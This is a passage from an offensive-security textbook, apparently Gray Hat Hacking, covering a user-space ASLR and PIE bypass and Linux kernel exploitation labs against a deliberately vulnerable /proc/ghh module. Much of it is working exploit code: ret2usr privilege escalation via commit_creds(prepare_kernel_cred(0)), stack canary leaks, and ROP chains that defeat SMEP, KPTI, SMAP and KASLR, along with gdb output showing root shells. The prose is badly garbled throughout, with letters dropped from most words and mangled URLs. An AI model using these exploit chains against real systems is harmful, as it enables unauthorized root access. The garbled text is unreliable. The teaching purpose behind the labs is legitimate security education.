he eas signifian bye, we eak RIP and ovewie he eas signifian bye wih 0x6d
❷ beause we ae sue i neve hanges:
$ gdb -q ./vuln
gef➤ disas main
...
0x0000000000001568 <+542>: call 0x1275 <auth>
0x000000000000156d <+547>: cmp eax,0x1
...
PART III
NOTE The least significant bit (LSB) could be different in your environment.
Make sure you get the right one.
A ❸ we auae he pogam’s base addess by subaing he disane fom he base
addess o he eaked RIP. Hee is a way o ge he disane beween he eaked RIP and
he pogam’s base addess:
1. Run ./vuln in a window.
2. Exeue you expoi4.py in a seond window. Don’ woy if he expoi fais.
3. Open a hid window and aunh gdb:
$ gdb -p `pidof vuln`
4. Run he vmmap vuln ommand:
gef➤ vmmap vuln
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00005616e3dc4000 0x00005616e3dc500... r-- /home/kali/GHHv6/ch11/vuln
...
5. Copy he Fixed leaked_rip addess and suba he vun pogam’s base addess:
gef➤ p 0x5616e3dc556d-0x00005616e3dc4000
$1 = 0x156d
[*] '/home/kali/GHHv6/ch11/vuln'
...
[+] Canary: ['0x2', '0xeb', '0xa3', '0x61', '0x99', '0x99', '0x87', '0x0']
[*] Leaked Canary = 0x2eba36199998700
[+] SFP: ['0x0', '0x0', '0x7f', '0xfc', '0xb3', '0xdc', '0x9b', '0x80']
[*] Leaked SFP = 0x7ffcb3dc9b80
[+] RIP: ['0x0', '0x0', '0x55', '0xa5', '0xb1', '0x7', '0xf5', '0x68']
[*] Leaked RIP = 0x55a5b107f568
[*] Fixed leaked_rip = 0x55a5b107f56d
[*] elf.address = 0x55a5b107e000
...
$ id
I woked! Now we have suessfuy bypassed ASLR, PIE, NX, and sak anaies.
232
In ase you’e wondeing, he Reoaion Read Ony (RELRO) expoi miigaion
ehnique poes binaies fom GOT ovewies, bu even if fu RELRO is enabed,
i won’ sop us fom geing ode exeuion beause GOT ovewie was no pa of
ou saegy.
Summary
In his hape we used a muiheaded pogam vuneabe o a basi sak ovefow o
expoe how he expoi miigaion ehniques ASLR, PIE, NX, and sak anaies wok
and how o bypass hem.
By ombining hese ehniques, we now have a bee ooki fo deaing wih ea-
wod sysems, and we have he abiiy o eveage hese ompex aaks fo moe sophis-
iaed expois. Beause poeion ehniques hange and he saegies o defea hem
evove, he “Fo Fuhe Reading” seion has addiiona maeia fo you o eview o
bee undesand hese ehniques.
For Further Reading

“The advanced return-into-lib(c) exploits: PaX Case Study” (Nergal) www.phak
.om/issues.hm?issue=58&id=4#aie
“Return-Oriented Programming: Systems, Languages, and Applications” hovav
.ne/usd/dis/op.pdf
“Sigreturn Oriented Programming Is a Real Threat” s.emis.de/LNI/Poeedings/
Poeedings259/2077.pdf
“Jump-Oriented Programming: A New Class of Code-Reuse Attack” www.omp
.nus.edu.sg/~iangzk/papes/asias11.pdf
“How the ELF Ruined Christmas” www.usenix.og/sysem/fies/onfeene/
usenixseuiy15/se15-pape-di-fedeio.pdf
References
1. hps://gihub.om/hugsy/gef
2. hps://souewae.og/gdb/oninedos/gdb/Foks.hm
3. hps://dos.pwnoos.om/en/sabe/insa.hm
Linux Kernel Exploits
CHAPTER
12
• Return-to-user (ret2usr)
• Defeating Stack Canaries
• Bypassing Supervisor Mode Execution Protection (SMEP) and Kernel Page-Table
Isolation (KPTI)
• Bypassing Supervisor Mode Access Prevention (SMAP)
• Defeating kernel address space layout randomization (KASLR)
The Linux kene offes an enomous oppouniy fo expoiaion. Despie i being
a bi inimidaing, he expoiaion pinipes emain he same as use-spae memoy
oupion bugs and is unonsained aess o memoy and ohe esoues povide
aakes wih unimied powe ove affeed sysems. The vuneabe ode and seuiy
bugs an be found on kene modues, dives, sysem as, and ohe memoy manage-
men impemenaions.
In a onsan aemp o make he Linux kene moe seue, many seuiy impove-
mens and expoi miigaion feaues have been impemened. Howeve, eseahes
have found muipe eaive ways o iumven hese seuiy boundaies.
Lab 12-1: Environment Setup and Vulnerable procfs Module
To begin, e’s se up an expoiaion envionmen based on QEMU, ageing a

seamined kene (5.14.17) and a simpe kene modue ha has been deibeaey
made vuneabe o demonsae he poess of bypassing muipe GNU/Linux kene
unime and ompie-ime expoi miigaions.
Kene expoiaion an be a bi annoying ompaed o use-and binay expoiaion,
as debugging is somewha umbesome, and eah faied expoiaion aemp wi ause a
kene pani and equie a fu sysem esa. We wi use QEMU o emuae he opea-
ing sysem as we as o ease he expoi wiing and debugging poess.
Eah ab’s ompexiy wi ansiion fom simpe, saighfowad expoiaion o
advaned miigaion bypass seps, iusaing he pogess made by he opeaing sysem’s
deveopes owad making kene expoiaion ineasingy hade, ye no impossibe.
233
234
Fis, insa QEMU by unning he foowing ommands on a oo she:
$ sudo apt-get update && sudo apt-get -y install qemu qemu-system
Nex, in he ~/GHHv6/h12 fode, you wi find a she sip fie ha uns a
QEMU expoiaion age onfigued wih he miigaions opions oesponding o
eah ab:
• run1.sh A usom Linux kene wih Sak Canaies disabed and a vuneabe
kene modue wih no expoi miigaions enabed, suiabe o expoi a simpe
e2us ehnique. This wi guide us hough he basis of piviege esaaion
expois, whih wi hep us undesand he easoning behind eah expoi
miigaion and seuiy impovemen he kene has gone hough he yeas.
• run2.sh This ab uns he same kene modue, bu he kene was eompied
o enabe Sak Canaies expoi miigaion.
• run3.sh Sak Canaies, SMEP, and KPTI expoi miigaions enabed
• run4.sh Sak Canaies, SMEP, KPTI, and SMAP expoi miigaions enabed
• run5.sh Sak Canaies, SMEP, KPTI, SMAP, and KASLR expoi miigaions
enabed
NOTE These scripts assume you have cloned the GitHub repository into
/home/kali/GHHv6. If you have cloned it into some other directory, you will
need to manually update each of the .sh files.
To simpify he fie-shaing poess beween he gues and hos, he usom kene
is ompied wih Pan 9 Fiesysem Pooo, wih VIRTIO anspo modue sup-
po. QEMU wi auomaiay moun he shaed fode in he use’s home dieoy.
In his shaed fode, you an aso find he finished expois fo eah ab pesened in
his hape.
Hee ae some ohe impoan fies ha ae povided:
• ~/GHHv6/ch12/stackprotector-disabled/bzImage This is he ompessed

kene image wih STACKPROTECTOR (Sak Canaies) disabed fo he
fis ab.
• ~/GHHv6/ch12/bzImage Compessed kene image wih STACKPROTECTOR
(Sak Canaies) enabed.
• vmlinux This he unompessed bzImage o hep simpify he debugging
poess, as i povides debugging symbos. If you need o exa i, he easies
way is o ge he exa-vminux1 sip found in he sips dieoy of he
kene ee.
• initramfs.cpio This is he oo fie sysem.
Chapter 12: Linux Kernel Exploits
235
Setting Up GDB
QEMU povides a GDB seve debugging inefae, and i’s enabed by defau by pass-
ing he -s opion (shohand fo -gdb tcp::1234) in he un*.sh she sips.
NOTE Be sure to follow the steps in Chapter 11 to make sure GDB and the
GEF plug-in are correctly installed before you proceed.
One you insa GDB and GEF, you shoud be abe o aah o QEMU’s debugging
seve by unning he ommand target remote :1234 on you GDB onsoe.
The kene modue exposes he inefae /po/ghh and is vuneabe by design wih
vey easy o idenify and expoi abiay ead and abiay wie vuneabiiies. The
idea of he abs is o fous on undesanding he expoi miigaion feaues in he kene
PART III
and how o bypass hem, ahe han finding he vuneabiiies. Le’s aunh QEMU and
GDB o undesand a bi moe abou how he modue woks:
1. Open a emina in you ~/GHHv6/h12 fode, exeue he un1.sh sip, and
is he modue’s expoed funions:
$ ./run1.sh
SeaBIOS (version 1.14.0-2)
...
~ $ grep ghh /proc/kallsyms
0000000000000000 t ghh_write
0000000000000000 t ghh_read
0000000000000000 t ghh_init
0000000000000000 t ghh_cleanup
...
2. Open a new emina window in he same fode, aah GDB o he QEMU’s
GDB seve, and disassembe he ghh_write and ghh_read funions:
$ gdb ./stackprotector-disabled/vmlinux
gef➤ target remote :1234
Remote debugging using :1234
0xffffffff810221fe in amd_e400_idle ()
...
gef➤ disas ghh_write
Dump of assembler code for function ghh_write:
...
0xffffffff811b5758 <+8>: lea rdi,[rbp-0x10]
0xffffffff811b575c <+12>: sub rsp,0x8
0xffffffff811b5760 <+16>: call 0xffffffff811b2880
<copy_user_generic_string>
...
gef➤ disas ghh_read
...
0xffffffff811b5781 <+1>: mov rdi,rsi
0xffffffff811b5784 <+4>: mov rbp,rsp
0xffffffff811b5787 <+7>: push rbx
0xffffffff811b5788 <+8>: mov rbx,rdx
0xffffffff811b578b <+11>: lea rsi,[rbp-0x10]
0xffffffff811b578f <+15>: sub rsp,0x8
0xffffffff811b5793 <+19>: call 0xffffffff811b2880
<copy_user_generic_string>
...
236
Overwriting RIP
Le’s y o ash he kene modue by ovewiing RIP. To do his, make sue boh
eminas unning QEMU (un1.sh) and GDB ae si open. Then, in you GDB
window, exeue he foowing ommands:
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
gef➤ continue
Continuing.
Now opy his paen and send i o he modue using echo:
~ $ echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama > /proc/ghh
BUG: unable to handle page fault for address: 6161616861616167
#PF: supervisor read access in kernel mode
#PF: error_code(0x0001) - permissions violation
...
RIP: 0010:0x6161616861616167
Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000009
Kernel Offset: disabled
...
Sine we go a kene pani, pess ctrl-c o exi fom QEMU. Now exeue he
un1.sh sip again and eaah GDB o he GDB seve using target remote :1234.
Le’s opy he RIP vaue and see how many byes we need o wie o ovewie RIP:
gef➤ pattern search 0x6161616861616167
[+] Searching for '0x6161616861616167'
Wih his knowedge, we ae eady o begin expoiing his modue o esaae pivieges.
Lab 12-2: ret2usr
Reun-o-use is he easies kene expoiaion ehnique, and i’s ompaabe o he
basi ehniques feaued in Chape 10 ha aowed us o exeue sheodes wih NX
enabed and ASLR disabed.
The main objeive of e2us is o ovewie he RIP egise and hijak exeuion fow
on he kene-spae o eevae he pivieges of he uen poess by using he kene fun-
ions: commit_creds(prepare_kernel_cred(0)). I woks fo he uen use-spae poess
beause commit_creds insas he new edenias o be assigned o he uen ask.2
Now ha we have a RIP ovewie, ou saegy is as foows:
1. Find he addesses fo prepare_kernel_cred and commit_creds in /po/kasyms.
These addesses wi emain he same hough eboos beause KASLR is disabed.
2. Insead of exeuing a sheode, wie a funion wih inine assemby ha wi
exeue commit_creds(prepare_kernel_cred(0)).
3. Reun o use-spae by using he swapgs and iretq opodes.
237
Le’s now wie, ompie, and exeue ou expoi. We wi povide and doumen he
fu soue, bu he nex seions wi ony onain he neessay ode pahes equied o
bypass eah expoi miigaion ehnique. The fu soue of his ab an be found in he
foowing pah: ~/GHHv6/h12/shaed/expoi1/expoi..
❶void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
❷void shell(void){
PART III
if (getuid() != 0) {
printf("UID = %d :-(\n", getuid());
exit(-1);
}
system("/bin/sh");
}
unsigned long user_rip = (unsigned long) shell;
❸void escalate_privileges(void){
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
❹"call 0xffffffff81067d80;" // prepare_kernel_cred
"mov rdi, rax;"
❺"call 0xffffffff81067be0;" // commit_creds
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_state();
❻unsigned long payload[40] = { 0 };
❼payload[3] = (unsigned long) escalate_privileges;
int fd = open("/proc/ghh", O_RDWR);

if (fd < 0) {
puts("Failed to open /proc/ghh");
exit(-1);
}
❽write(fd, payload, sizeof(payload));
return 0;
}
A ❶, ou expoi exeues he ode o eevae he pivieges of ou ask in kene mode.
One ha’s done, we need o swih bak o use-spae and exeue system(“/bin/sh”) ❷.
238
The fis pobem we fae is ha o eun o use-spae, he Ineup Reun (iretq)
insuion needs o have he oe vaues on he CS, RFLAGS, SP, SS, and RIP egises,
and hese egises ae affeed in boh modes. The souion is o use his inine assemby
o save he egises befoe going o kene mode and esoe hem fom he sak befoe
aing he iretq insuion.
A ❸, we ovewie RIP wih he addess of he escalate_privileges funion, whih
onains he neessay ode o exeue commit_creds(prepare_kernel_cred(0)), use he
swapgs insuion o swap he GS egise wih a vaue in one of he mode-speifi
egises (MSRs), esoe he CS, RFLAGS, SP, SS egises, and finay poin RIP o he
shell funion befoe aing iretq.
Befoe we oninue, e’s ge he addess of he prepare_kernel_cred ❹ and
commit_creds ❺ funions on ou age sysem and modify he sip wih hese
addesses:
$ ./run1.sh
...
-sh: can't access tty; job control turned off
~ $ grep prepare_kernel_cred /proc/kallsyms|head -n1
ffffffff81067d80 T prepare_kernel_cred
~ $ grep commit_creds /proc/kallsyms|head -n1
ffffffff81067be0 T commit_creds
Afe modifying ines ❹ and ❺ wih he addess of prepare_kernel_cred and

commit_creds, we wi now eae ou payoad unsigned ong aay ❻ and iniiaize i
wih zeos. Remembe ha we disoveed ha RIP an be ovewien on bye 24, and
beause eah eemen of ou unsigned ong aay is 8 byes ong, we wi need o wie
he addess of he escalate_privileges ❸ funion on he hid (24 / 8) eemen of ou
payoad aay. Finay, we open /po/ghh and wie ou payoad ❽.
Now ha eveyhing is eady, e’s ompie ou expoi. Running i shoud esu in
exeuion of a /bin/sh she wih he oo use’s eevaed pivieges:
$ gcc -O0 -static shared/exploit1/exploit.c -o shared/exploit1/exploit
$ ./run1.sh
-sh: can't access tty; job control turned off
~ $ ./exploit1/exploit
/bin/sh: can't access tty; job control turned off
/home/user # id
uid=0(root) gid=0(root)
Gea! Now e’s enabe Sak Canaies so we an undesand how i woks and ean
how o bypass i in his senaio.
Lab 12-3: Defeating Stack Canaries
The kene’s sak memoy an be poeed fom memoy oupion and ovefow
aaks in he same way as is use-spae ounepa wih Kene Sak Canaies. This
ompie-ime expoi miigaion feaue woks ike use-spae Sak Canaies, whih we
239
eaned abou and expoied in he pevious hape. We’ve eompied he usom kene
wih he CONFIG_STACKPROTECTOR feaue enabed o use Sak Canaies fo
his and he foowing abs. To see i in aion, exeue un2.sh and y ovewiing he
RIP egise whie aahing GDB o age sysem.
Fis, open a emina window in you ~/GHHv6/h12 fode and exeue un2.sh,
bu don’ un he expoi jus ye:
$ ./run2.sh
In a new emina window, aah GDB and hen se wo beakpoins o see when he
anay ges assigned and when i’s heked befoe euning fom he vuneabe fun-
ion. Nex, we wi geneae a paen ha wi hep us idenify whee inside ou payoad
we shoud pae he anay fo i o be epaied afe he sak ovewie. Finay, we
oninue exeuion. Hee’s he ode:
PART III
$ gdb ~/GHHv6/ch12/vmlinux
gef➤ b *ghh_write+29
Breakpoint 1 at 0xffffffff811c375d
Breakpoint 2 at 0xffffffff811c3775
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
gef➤ c
Continuing.
Now opy in his yi paen fom you QEMU emina and wie i o he modue
inefae:
~ $ echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama > /proc/ghh
By he ime he fis beakpoin ges hi, he anay wi be aeady opied ino rbp-0x10.
Le’s inspe is vaue and oninue o he seond beakpoin:
[#0] Id 1, stopped 0xffffffff811c375d in ghh_write (), reason: BREAKPOINT
...
gef➤ x/g $rbp-0x10
0xffffc9000000be78: 0x914df153b7a33000
gef➤ c
Continuing.
[#0] Id 1, stopped 0xffffffff811c3775 in ghh_write (), reason: BREAKPOINT
A his poin, he saved anay (rbp-0x10) has been opied ino he rdx egise and
wi be subaed fom he oigina anay. If he esu is no zeo, __stack_chk_fail wi
be exeued insead of euning. Le’s see he onens of rdx and use he paen offse
uiiy o idenify whee he anay mus be paed:
gef➤ print $rdx
$1 = 0x6161616461616163
gef➤ pattern offset $rdx
[+] Searching for '$rdx'
240
If we oninue exeuion, we wi ge a kene pani on he QEMU window:
gef➤ c
Continuing.
Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
ghh_write+0x4b/0x50
Kernel Offset: disabled
---[ end Kernel panic - not syncing: stack-protector: Kernel stack is
corrupted in: ghh_write+0x4b/0x50 ]---
Ou as sep is o expoi he abiay ead vuneabiiy o eak memoy addesses
and idenify whehe ou anay is being eaked and a whih offse. In you ~/GHHv6/
h12/shaed fode is a sma C pogam ha wi open he /po/ghh inefae, ead
40 byes ino an unsigned ong aay, and wie ou payoad o ovewie RIP. Le’s fis
ompie his pogam and aunh un2.sh:
$ gcc -O0 -static ~/GHHv6/ch12/shared/leak.c -o ~/GHHv6/ch12/shared/leak
$ ./run2.sh
Aah GDB in a new emina, se a beakpoin afe he anay ges opied ino he
rax egise (ghh_write+25), and oninue exeuion:
Breakpoint 1 at 0xffffffff811c3759
gef➤ c
Continuing.
Now, in you QEMU emina, un he leak binay and y o find whehe he
onens of he rax egise ae in he is of eaked addesses:
~ $ ./leak
0xffffc900000a7eb0
0x30035093d9375600
0xffff888002193f00
0xffffc900000a7ed0
0xffffffff8114c174
gef➤ print $rax
$1 = 0x30035093d9375600
We go i! The anay is he seond addess being eaked. Wih his knowedge, we an
fix ou pevious expoi o epai he anay and suessfuy ovewie RIP. Ou main
funion ooks ike his now:
save_state();
int fd = open("/proc/ghh", O_RDWR);
...
unsigned long leak[5];
❶read(fd, leak, sizeof(leak));
❷unsigned long canary = leak[1];

printf("Canary = 0x%016lx\n", canary);
unsigned long payload[40] = { 0 };

❸payload[1] = canary;
payload[4] = (unsigned long) escalate_privileges;
write(fd, payload, sizeof(payload));
241
Fis, we ead he eaked addesses ❶. Then we assign he seond eemen of he aay
o he anay vaiabe ❷. Finay, we epai he anay by adding i o he seond eemen
of ou payoad ❸.
Le’s exeue ou fixed expoi:
$ ./run2.sh
Canary = 0x5e465b32ed4b7600
/home/user # id
Now ha we suessfuy bypassed he Sak Canay poeion, e’s enabe he SMEP
and KPTI poeions and see how we an ge aound hem.
PART III
Lab 12-4: Bypassing Supervisor Mode Execution Protection (SMEP)
and Kernel Page-Table Isolation (KPTI)
We wi now aise he ba and bypass he widey depoyed SMEP and KPTI kene expoi
miigaion feaues.
The SMEP expoi miigaion feaue benefis fom he moden poesso ahieue
mehanism ha pevens fehing ode oaed in he use-mode memoy addess spae
whie unning on high piviege eves (Ring 0). When SMEP is enabed, poining he
RIP egise o ode oaed a he use-mode memoy addess spae wi esu in a
“kene oops” and he ineupion of he offending ask. This feaue is enabed by
seing he CR4 egise’s wenieh bi o on (see Figue 12-1).
You an onfim whehe he SMEP feaue is enabed on he age sysem by eading
/po/puinfo:
$ ./run3.sh
~ $ grep smep /proc/cpuinfo
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat
pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl cpuid
pni cx16 hypervisor pti smep
31(63) 22 21 20 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
S S S V
P P M P P T P V
M M M M D
Reserved C G C A S S V M CR4
A E X X E
E E E E E D I E
P P E E
FSGSBASE OSFXSR
OSXSAVE PCIDE OSXMMEXCPT
Figure 12-1 CR4 with SMEP bit enabled

242
KPTI (Kene Page-Tabe Isoaion) is a seuiy feaue ha povides bee isoaion
beween use-mode and kene-mode memoy spaes, in an effo o defend agains
KASLR bypasses and ohe memoy eak vuneabiiies suh as Medown. A minima
se of kene memoy is pesen on isoaed use-mode memoy pages o avoid he kene
memoy eaks neessay in ommon kene expoiaion hains. The Linux kene benefis
fom KPTI sine vesion 4.15.
You an onfim whehe he KPTI feaue is enabed on he age sysem by unning
he kene’s debug messages:
$ ./run3.sh
~ $ dmesg | grep 'Kernel/User page tables isolation'
Kernel/User page tables isolation: enabled
Beause we an no onge exeue ou escalate_privileges funion diey, and evey
day i ges hade o bypass hese onos, a simpe way ha si woks is o eae a
fu ROP hain o exeue commit_creds(prepare_kernel_cred(0)) and hen exeue
swapgs, esoe he CS, RFLAGS, SP, SS, and RIP fags, and finay exeue iretq.
Le’s open he Roppe onsoe o seah fo ou gadges:
1. We begin by ooking fo he pop rdi; ret; gadge beause we mus a prepare_
kernel_cred(0) befoe commit_creds:
$ ropper --file ~/GHHv6/ch12/vmlinux --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(vmlinux/ELF/x86_64)> search pop rdi

[INFO] Searching for gadgets: pop rdi
[INFO] File: /home/kali/GHHv6/ch12/vmlinux
...
0xffffffff811ad2ec: pop rdi; ret;
...
2. We mus pass he vaue euned fom aing prepare_kernel_cred(0) o he

commit_creds funion, whih means we need o find a way o opy he vaue
fom rax ino rdi. Hee is he fis ineesing gadge we find:
0xffffffff811b794e: mov rdi, rax; cmp rdi, rdx; jne 0x3b7945;
xor eax, eax; ret;
The pobem hee is ha we mus fis make sue rdi and rdx have he same vaue
o avoid he ondiiona jump a jne 0x3b7945. To sove his obsae, we found
he foowing wo gadges:
0xffffffff8100534f: mov r8, rax; mov rax, r8; ret;
0xffffffff81113e1b: mov rdx, r8; ret;
3. Finay, we need he gadges o swapgs, esoe he CS, RFLAGS, SP, SS, and RIP
fags, and exeue iretq. The kene aeady povides he common_interrupt_return
funion, whih aompishes his wih hese usefu gadges:
0xffffffff81400cc6 <+22>: mov rdi,rsp
0xffffffff81400cc9 <+25>: mov rsp,QWORD PTR ds:0xffffffff81a0c004
0xffffffff81400cd1 <+33>: push QWORD PTR [rdi+0x30]
243
0xffffffff81400cda <+42>: push QWORD PTR [rdi+0x18]
0xffffffff81400cdd <+45>: push QWORD PTR [rdi+0x10]
0xffffffff81400ce0 <+48>: push QWORD PTR [rdi]
0xffffffff81400ce2 <+50>: push rax
0xffffffff81400ce3 <+51>: xchg ax,ax
0xffffffff81400ce5 <+53>: mov rdi,cr3
0xffffffff81400ce8 <+56>: jmp 0xff... <common_interrupt_return+108>
...
0xffffffff81400d1c <+108>: or rdi,0x1000
0xffffffff81400d23 <+115>: mov cr3,rdi
0xffffffff81400d26 <+118>: pop rax
0xffffffff81400d27 <+119>: pop rdi
0xffffffff81400d28 <+120>: swapgs
0xffffffff81400d2b <+123>: jmp 0xff...<common_interrupt_return+160>
...
0xffffffff81400d50 <+160>: test BYTE PTR [rsp+0x20],0x4
PART III
0xffffffff81400d55 <+165>: jne 0xff...<common_interrupt_return+169>
0xffffffff81400d57 <+167>: iretq
Le’s modify ou sips o add hese gadges, and hen ompie and exeue ou
expoi, whih shoud ook ike his:
payload[1] = canary;
int i = 4;
payload[i++] = 0xffffffff811ad2ec; // pop rdi; ret;
payload[i++] = 0;
payload[i++] = 0xffffffff8106b6a0; // prepare_kernel_cred
payload[i++] = 0xffffffff8100534f; // mov r8, rax; mov rax, r8; ret;
payload[i++] = 0xffffffff81113e1b; // mov rdx, r8; ret;
payload[i++] = 0xffffffff811b794e; // mov rdi, rax; cmp rdi, rdx; jne
0x3b7945; xor eax, eax; ret;
payload[i++] = 0xffffffff8106b500; // commit_creds
payload[i++] = 0xffffffff81400cc6; //common_interrupt_return+22...
payload[i++] = 0;
payload[i++] = 0;
payload[i++] = user_rip;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
$ gcc -O0 -static ~/GHHv6/ch12/shared/exploit3/exploit.c \
-o ~/GHHv6/ch12/shared/exploit3/exploit
$ ./run3.sh
Canary = 0xb78bc5a754405d00
/home/user # id
We go i! Now e’s enabe SMAP and see how his expoi miigaion oud affe us.
244
Lab 12-5: Bypassing Supervisor Mode Access Prevention (SMAP)
SMAP is a seuiy feaue inodued o he Linux kene in 2012 by Ine.3 I onsiss
of making use-spae pages inaessibe when he poess is in kene spae. This feaue
is enabed by seing he CR4 egise’s weny-fis bi o on (see Figue 12-2).
This feaue geay ompiaes hings when he ROP payoad is oaed on he use-
mode memoy pages; howeve, beause a he gadges fom ou pevious expoi ae in
kene spae, SMAP won’ sop us fom esaaing pivieges!
Le’s onfim his by aunhing un4.sh (whih enabes he SMAP expoi miigaion
feaue) and ou pevious expoi (expoi3):
$ ./run4.sh
Canary = 0xe3cd76ee34fda800
/home/user # id
SMAP wi make hings moe ompiaed in moe onsained siuaions whee we
need mmap o buid a fake sak in use-mode addess spae and hen use a sak pivo
gadge o sage a moe ompex ROP hain.
The mos ommon mehod fo ahieving SMEP and SMAP bypass was abusing he
native_write_cr4 funion o se bis 20 and 21 o off fom he CR4 egise. Howeve,
saing wih kene vesion 5.3,4 CR4 is pinned on boo, and he native_write_cr4
funion now ses he SMAP and SMEP bis on again if he CR4 egise was modified.
This shoud no be onsideed a ROP miigaion feaue (suh as Cono Fow Inegiy)
bu ahe emoving a quik, one-sho win fo kene expoi wies.
Thee is a big hane ha poduion sysems have muipe kene modues and
devie dives poviding many usefu gadges o ahieve he same goa. Suh is he ase of
he ghh_seek funion bui ino ou kene as an exampe of his.
If you disassembe he ghh_seek funion, you shoud see some ode inended fo
ohe puposes:
gef➤ disas ghh_seek
Dump of assembler code for function ghh_seek:
0xffffffff811c3840 <+0>: mov edx,0x220f120d
0xffffffff811c3845 <+5>: out 0x4d,eax
0xffffffff811c3847 <+7>: mov esp,edi
0xffffffff811c3849 <+9>: ret 0x8
0xffffffff811c384c <+12>: xor eax,eax
0xffffffff811c384e <+14>: ud2
31(63) 22 21 20 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
S S S V
P P M P P T P V
M M M M D
Reserved C G C A S S V M CR4
A E X X E
E E E E E D I E
P P E E
FSGSBASE OSFXSR
OSXSAVE PCIDE OSXMMEXCPT
Figure 12-2 CR4 with SMAP bit enabled

245
Howeve, a 3-bye unaigned inepeaion of hese opeaion odes esus in a vey
usefu gadge o modify he CR4 egise:
gef➤ x/4i ghh_seek+3
0xffffffff811c3843 <ghh_seek+3>: mov cr4,rdi
0xffffffff811c3846 <ghh_seek+6>: mov r12,r15
0xffffffff811c3849 <ghh_seek+9>: ret 0x8
0xffffffff811c384c <ghh_seek+12>: xor eax,eax
As ong as we an uiize and ombine exising ode ino ROP gadges affeing he
CR4 egise, bypassing he SMEP and SMAP expoiaion miigaion feaues wi
emain possibe.
Even hough we’ve aeady bypassed SMAP wih ou pevious expoi, we don’ wan o
miss he oppouniy o demonsae how o bypass SMAP by modifying he CR4 egise
using he gadge we found hanks o he unaigned inepeaion of hese opodes.
PART III
This new expoi wi be a o moe ompex beause we wi buid a fake sak in use-
and addess spae using mmap and hen use a sak pivo gadge o exeue he ROP
hain we bui o esaae pivieges.
We wi make he foowing hanges o ou expoi:
...
payload[1] = canary;
payload[4] = 0xffffffff811ad2ec; // pop rdi; ret;
❶payload[5] = 0x6B0;
❷payload[6] = 0xffffffff811c3843; // mov cr4, rdi; mov r12, r15; ret 8;
payload[7] = 0xffffffff81022d82; // ret
payload[8] = 0xffffffff81022d82; // ret
payload[9] = 0xffffffff81022d81; // pop rax; ret;
❸payload[10] = 0xc0d30000; // fake_stack
❹payload[11] = 0xffffffff81265330; // mov esp, eax; mov rax, r12; pop r12;
// pop rbp; ret;
// Fake Stack
❺unsigned long *fake_stack = mmap((void *) (0xc0d30000 - 0x1000), 0x2000,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
if (fake_stack == MAP_FAILED) {
perror("mmap");
exit(-1);
}
fake_stack[0] = 0xdeadbeefdeadbeef;
int i = 512;
fake_stack[i++] = 0xdeadbeefdeadbeef;
fake_stack[i++] = 0xdeadbeefdeadbeef;
fake_stack[i++] = 0xffffffff811ad2ec; // pop rdi; ret;
fake_stack[i++] = 0;
fake_stack[i++] = 0xffffffff8106b6a0; // prepare_kernel_cred
...
A ❶, we begin by assigning rdi he vaue 0x6B0, whih is equivaen o having he
rc4 bis 20 and 21 (0000000000011010110000). A ❷, he gadge modifies rc4 and we
add wo rets o make sue he sak says aigned. A ❸, we pop ino rax he addess of
ou fake sak, 0x0d30000, beause o jump ino ou fake sak we used he sak pivo
gadge mov esp, eax.
246
Befoe ou payoad is sen, we eae ou fake sak mmap ❺ using engh
0x2000 byes, saing a offse 0d2f000. The eason o do his is o have enough spae
if he sak needs o gow.
Le’s ompie and exeue ou new expoi:
$ ./run4.sh
Canary = 0x7e99dad9ff559100
/home/user # id
Exeen! We have onfimed ha i is possibe o ovewie cr4 using ROP. In he
nex ab, we ae going o enabe and defea KASLR.
Lab 12-6: Defeating Kernel Address Space Layout Randomization (KASLR)
KASLR5 aso woks simiay o he use-spae ASLR poeion, andomizing he kene’s
base addess ayou evey ime he sysem is booed. If we an eak a eiabe memoy
addess, i woud be ivia o bypass his poeion. Sine we have an abiay ead
ondiion, hee ae he seps we wi exeue o auae he kene base:
1. Modify he eak. pogam o un getchar() befoe sending he payoad. This wi
give us ime o aah GDB (o beak GDB if i’s aeady aahed) and onfim
whehe he addess is eiabe. Then eompie eak. afe adding getchar(). The
ode shoud ook ike his:
...
getchar();
...
$ gcc -O0 -static ~/GHHv6/ch12/shared/leak.c \
-o ~/GHHv6/ch12/shared/leak
2. Exeue he poess a few imes o onfim ha he addess we ae ying aways
poins o he same insuion:
$ ./run5.sh
~ $ ./leak
0xffffbc9a800a7eb0
0x6c37813c4cd01e00
0xffff9b8801197f00
0xffffbc9a800a7ed0
0xffffffff8eb4c174
247
Now, open a new emina and ge he insuions hese addesses ae poining o by
using he x/i GDB ommand. If you epea his a few imes, you wi noie ha he fifh
addess, index 4 of our leak array, is aways poining o he same insuion:
gef➤ x/i 0xffffffff8eb4c174
0xffffffff8eb4c174: mov edx,0xffffffff
gef➤ x/i 0xffffffff9f94c174
0xffffffff9f94c174: mov edx,0xffffffff
Knowing ha ou eiabe addess is a index 4 of ou eak aay, e’s oninue wok-
ing wih KASLR disabed (un4.sh) o simpify he auaions. Ou nex seps wi be
as foows:
1. Launh un4.sh and hen ge he kene base addess by eading he fis ine of
